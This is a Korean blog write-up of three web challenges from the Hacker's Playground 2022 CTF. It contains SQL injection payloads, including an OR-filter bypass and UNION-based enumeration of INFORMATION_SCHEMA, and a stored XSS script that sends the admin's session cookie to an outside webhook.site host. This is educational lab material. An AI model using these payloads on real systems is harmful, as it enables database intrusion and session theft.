본문 바로가기
CTF/라이트업

Hacker's Playground 2022

by SH_L 2022. 8. 25.
반응형

1. SQLi 101 (Web)

 

 

SQL Injection으로 flag를 얻는 문제로 예상된다.

 

 

USERNAME에 항상 True를 나타내는 쿼리인 admin' or '1'='1를 입력하고, PASSWORD에 pw를 입력해주었다.

 

 

쿼리 전송 시, OR 연산자를 사용할 수 없다는 경고문이 나타난다. OR 연산자를 필터링하고 있는 것으로 추측된다.

 

 

OR 연산자 필터링을 우회하기 위하여 OR 대신 ||를 사용하여 쿼리를 전송했다.

 

 

쿼리 전송 시, flag를 확인할 수 있다.


2. SQLi 102 (Web)

 

 

SQLi 101과 동일하게 SQL Injection으로 flag를 얻는 문제로 예상된다.

 

 

 

오른쪽 상단의 HINT 버튼을 누르면 PHP 코드를 확인할 수 있다.

 

<?php
include "./config.php";
$succ = -1;
if($_GET['showsrc']) {
    show_source("step1.php");
    die;
}
if($_GET['searchkey']) {
    $succ = 0;
    $query = "select * from books where title like '%".$_GET['searchkey']."%'";
    $db = dbconnect("sqli102_step3");
    $result = mysqli_query($db,$query);
    mysqli_close($db);
    if($result) {
        $rows = mysqli_num_rows($result);
    }
}
?>

 

books 테이블로부터 도서 정보를 검색하는 코드에 SQLi 취약점이 존재한다.

 

먼저 union 연산자를 사용해 books 테이블의 컬럼 개수를 확인한다. union 연산자로 연결되는 모든 쿼리들은 컬럼 개수가 동일해야 하는 특성을 이용했다.

 

 

작성한 쿼리: %Glass%' union select NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL #

 

이때, # 대신 --으로 주석 처리할 경우에는 -- 뒤에 공백이 존재해야 한다.

 

Glass라는 검색어를 포함하여 다음과 같이 쿼리를 작성했다. 8개의 NULL을 넣었을 때 검색 결과가 출력되었으므로 books 테이블의 컬럼 개수가 8개임을 알 수 있다. 두 번째 도서가 빈 데이터로 표시되는 것은 각 항목의 데이터로 NULL을 넣었기 때문이다.

 

 

컬럼 개수가 일치하지 않을 경우에는 검색에 대한 결과가 존재하지 않는다는 문구가 출력된다.

 

 

작성한 쿼리: %Glass%' union select '1', '2', '3', '4', '5', '6', '7', '8' #

 

NULL 대신에 다른 데이터를 집어넣었다. 8개의 컬럼 중 2, 3, 5번째 데이터가 출력되는 것을 확인할 수 있다.

 

 

작성한 쿼리: %Glass%' union select '', SCHEMA_NAME, '', '', '', '', '', '' from INFORMATION_SCHEMA.SCHEMATA #

 

INFORMATION_SCHEMA.SCHEMATA 테이블을 활용하여 데이터베이스 이름을 탐색한다. 데이터베이스의 이름은 sqli102이다.

 

 

작성한 쿼리: %Glass%' union select '', TABLE_NAME, '', '', '', '', '', '' from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='sqli102' #

 

INFORMATION_SCHEMA.TABLES 테이블을 활용하여 테이블 이름을 탐색한다. 테이블의 이름은 findme이다.

 

 

작성한 쿼리: %Glass%' union select '', COLUMN_NAME, '', '', '', '', '', '' from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='findme' #

 

INFORMATION_SCHEMA.COLUMNS 테이블을 활용하여 컬럼 이름을 탐색한다. 컬럼 이름 탐색 시, flag를 확인할 수 있다.


3. XSS 101 (Web)

 

XSS와 관련된 문제이다.

 

 

USERNAME과 PASSWORD에 각각 user를 입력했다.

 

 

로그인에 실패하여 "Need Help?" 버튼에 지원을 요청할 수 있는 링크가 생성된다.

 

 

"Need Help?" 버튼을 눌러 해당 링크로 접속했다.

 

<?php

if($_GET['showsrc']) {
    show_source("help.php");
    die;
}

if ($_POST['email'] and $_POST['desc']){
    include "./config.php";

    $db = dbconnect();
    insert_data_with_prepared_statements($db, $_POST['email'], $_POST['desc']);
    mysqli_close($db);

    $sent = true;
}
?>

 

오른쪽 상단의 HINT 버튼을 누르면 PHP 코드를 확인할 수 있다. prepared statement를 사용하여 SQLi 공격을 방지하고 있다. 하지만 POST로 전송된 파라미터가 검증 없이 DB에 삽입되어 XSS 공격 가능성이 존재한다. 따라서 admin 권한 획득을 목표로 XSS 공격을 시도한다.

 

공격 시나리오는 아래와 같다.

1. 공격자가 XSS 공격을 위한 자바 스크립트가 포함된 지원 요청 내용을 작성한다.

2. 서버가 지원 요청 내용을 데이터베이스에 저장한다.

3. admin이 지원 요청 내용들을 확인하고자 할 때 데이터베이스에 있던 악성 지원 요청 건이 포함된다.

4. admin은 XSS 공격 코드가 포함된 지원 요청 내용을 확인한다.

5. XSS 공격 코드가 동작하여 admin의 세션 쿠키를 외부로 전송한다.

 

 

작성한 공격 스크립트: <script>img=new Image(); img.src='https://webhook.site/7b711a10-cb62-4bb0-8a70-2a121df609c7?cookie=' + document.cookie;</script>

 

공격 스크립트로는 사용자의 세션 쿠키를 공격자의 서버로 전송하는 로직이 포함괸 자바 스크립트가 필요하다. HTML의 일부로 삽입되므로 script 태그 등을 이용한다.

 

임시로 사용할 공격자의 웹 서버로는 https://webhook.site를 이용했다.

 

 

Webhook.site - Test, process and transform emails and HTTP requests

This URL received over {{ appConfig.MaxRequests }} requests and can't accept more webhooks. New requests sent to this URL will return HTTP status code 410 Gone or 429 Too Many Requests and won't be logged. Also note that it is against our terms of service

webhook.site

 

 

XSS 공격이 성공하여 admin의 세션을 획득했다.

 

 

admin의 세션 쿠키를 적용하고 페이지를 새로고침한다.

 

 

/admin.php로 이동하게 되면 flag를 확인할 수 있다.

반응형

'CTF > 라이트업' 카테고리의 다른 글

WPICTF 2022  (0) 2022.09.26
DownUnderCTF 2022  (0) 2022.09.26
SHELLCTF 2022  (0) 2022.08.15
TFC CTF 2022  (0) 2022.07.31
UTCTF 2022  (0) 2022.06.28